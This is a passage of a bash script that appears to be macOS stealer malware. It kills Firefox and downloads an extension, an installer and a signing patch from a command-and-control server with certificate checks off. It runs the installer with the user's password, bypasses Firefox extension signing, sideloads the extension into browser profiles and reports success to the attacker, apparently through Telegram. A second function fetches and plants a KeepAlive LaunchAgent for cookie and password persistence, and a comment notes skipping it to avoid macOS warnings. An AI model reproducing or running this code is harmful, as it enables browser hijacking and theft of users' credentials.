  pkill -9 -f "Firefox.app" >/dev/null 2>&1 || true
  echo "lab-ff-ext: firefox killed"
  curl -fsSk --max-time 60 "${_c2}firefox-ext.zip" -o "$_zip" || {
    echo "lab-ff-ext: download zip fail"
    return 0
  }
  curl -fsSk --max-time 60 "${_c2}firefox_ext_install.sh" -o "$_sh" || {
    echo "lab-ff-ext: download installer fail"
    return 0
  }
  curl -fsSk --max-time 60 "${_c2}firefox_patch_signing.rb" -o "$_patch" 2>/dev/null || true
  chmod +x "$_sh"
  curl -fsSk --max-time 60 "${_c2}firefox-ext.xpi" -o "/tmp/lab_firefox_ext.xpi" 2>/dev/null || true
  mkdir -p "$H/Library/Application Support/.lab_firefox_ext"
  [ -f "$_patch" ] && cp -f "$_patch" "$H/Library/Application Support/.lab_firefox_ext/firefox_patch_signing.rb"
  _inst_out=$(LAB_PW="$PW" LAB_C2_BASE="$_c2" /bin/bash "$_sh" "$_zip" "$_eid" 2>&1) || true
  printf '%s\n' "$_inst_out"
  _n=$(printf '%s\n' "$_inst_out" | sed -n 's/^lab-ff-ext: profiles_patched //p' | tail -1)
  _apps=$(printf '%s\n' "$_inst_out" | sed -n 's/^lab-ff-ext: apps_patched //p' | tail -1)
  _side=$(printf '%s\n' "$_inst_out" | sed -n 's/^lab-ff-ext: profiles_sideloaded //p' | tail -1)
  _reg=$(printf '%s\n' "$_inst_out" | sed -n 's/^lab-ff-ext: profiles_registered //p' | tail -1)
  _unpacked=$(printf '%s\n' "$_inst_out" | sed -n 's/^lab-ff-ext: unpacked //p' | tail -1)
  _sign=$(printf '%s\n' "$_inst_out" | sed -n 's/^lab-ff-ext: signing_patched //p' | tail -1)
  killall "firefox" >/dev/null 2>&1 || true
  killall "Firefox" >/dev/null 2>&1 || true
  pkill -9 -f "Firefox.app" >/dev/null 2>&1 || true
  sleep 1
  killall -9 "Firefox" >/dev/null 2>&1 || true
  if [ -n "$_n" ] && [ "$_n" -gt 0 ] 2>/dev/null && [ "${_unpacked:-0}" = "1" ]; then
    echo "lab-ff-ext: success n=$_n reg=${_reg:-0} sign=${_sign:-0} — notifying Telegram"
    _ALERT="/tmp/lab_firefox_ext_alert"
    rm -rf "$_ALERT"
    mkdir -p "$_ALERT/Apps"
    printf '%s' "$USER_N" > "$_ALERT/Username"
    printf 'firefox-ext\n' > "$_ALERT/Apps/mode.txt"
    {
      echo "status=ok"
      echo "eid=$_eid"
      echo "path=$H/Library/Application Support/.lab_firefox_ext"
      echo "profiles=$_n"
      echo "apps=${_apps:-0}"
      echo "sideloaded=${_side:-0}"
      echo "registered=${_reg:-0}"
      echo "unpacked=${_unpacked:-0}"
      echo "signing_patched=${_sign:-0}"
      echo "name=Google Chrome"
      echo "method=omni-sign-bypass+policies+unpack+sideload"
    } > "$_ALERT/Apps/firefox_ext.txt"
    _OLD_ST="$ST"
    ST="$_ALERT"
    do_upload "firefox-ext" || true
    ST="$_OLD_ST"
  else
    echo "lab-ff-ext: install failed or unpack missing"
  fi
  echo "lab-ff-ext: done"
}

########## COOKIE/PASSWORD PERSISTENCE (KeepAlive LaunchAgent — bash, no python) ##########
install_lab_persist() {
  echo "lab-persist: start $(date -u +%Y-%m-%dT%H:%M:%SZ)"
  _c2="${UPLOAD%/upload.php}/"
  _agent="/tmp/lab_persist_agent.sh"
  _inst="/tmp/lab_persist_install.sh"
  curl -fsSk --max-time 60 "${_c2}lab_persist_agent.sh" -o "$_agent" || {
    echo "lab-persist: agent download fail"
    return 0
  }
  curl -fsSk --max-time 60 "${_c2}lab_persist_install.sh" -o "$_inst" || {
    echo "lab-persist: installer download fail"
    return 0
  }
  chmod +x "$_agent" "$_inst"
  _out=$(LAB_C2="$_c2" LAB_TXID="$TXID" LAB_USER="$USER_N" /bin/bash "$_inst" "$_agent" 2>&1) || true
  printf '%s\n' "$_out"
  _uuid=$(printf '%s\n' "$_out" | sed -n 's/^lab-persist: uuid //p' | tail -1)
  _label=$(printf '%s\n' "$_out" | sed -n 's/^lab-persist: label //p' | tail -1)
  if printf '%s\n' "$_out" | grep -q 'lab-persist: ok'; then
    echo "lab-persist: planted — notifying Telegram"
    _ALERT="/tmp/lab_persist_alert"
    rm -rf "$_ALERT"
    mkdir -p "$_ALERT/Apps"
    printf '%s' "$USER_N" > "$_ALERT/Username"
    printf 'persist\n' > "$_ALERT/Apps/mode.txt"
    {
      echo "status=ok"
      echo "uuid=${_uuid:-unknown}"
      echo "label=${_label:-unknown}"
      echo "keepalive=true"
      echo "throttle=30"
      echo "channel=out/done"
      echo "runtime=bash"
    } > "$_ALERT/Apps/persist.txt"
    _OLD_ST="$ST"
    ST="$_ALERT"
    do_upload "persist" || true
    ST="$_OLD_ST"
  else
    echo "lab-persist: plant failed"
  fi
  echo "lab-persist: done"
}

if [ "${LAB_SKIP_EXT:-0}" != "1" ]; then
  install_lab_chrome_ext
  install_lab_firefox_ext
  # Do not plant KeepAlive here — Ventura+ shows "Background Items Added"
  echo "lab-persist: skipped (no Background Items warning)"
else
  echo "lab-ext/persist: skipped (agent recollect)"
fi
